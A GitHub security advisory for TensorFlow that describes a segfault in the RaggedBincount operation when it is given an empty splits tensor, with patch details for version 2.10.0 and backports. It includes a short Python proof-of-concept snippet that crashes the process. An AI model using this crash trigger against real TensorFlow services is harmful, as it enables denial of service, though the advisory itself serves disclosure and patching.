GitHub Security Advisory

TensorFlow vulnerable to segfault in `RaggedBincount`

✓ GitHub Reviewed MODERATE Has CVE

Advisory Details

### Impact
If `RaggedBincount` is given an empty input tensor `splits`, it results in a segfault that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
binary_output = True
splits = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-7430)
values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)
size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000)
weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000)
tf.raw_ops.RaggedBincount(splits=splits, values=values, size=size, weights=weights, binary_output=binary_output)
```

### Patches
We have patched the issue in GitHub commit [7a4591fd4f065f4fa903593bc39b2f79530a74b8](https://github.com/tensorflow/tensorflow/commit/7a4591fd4f065f4fa903593bc39b2f79530a74b8).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
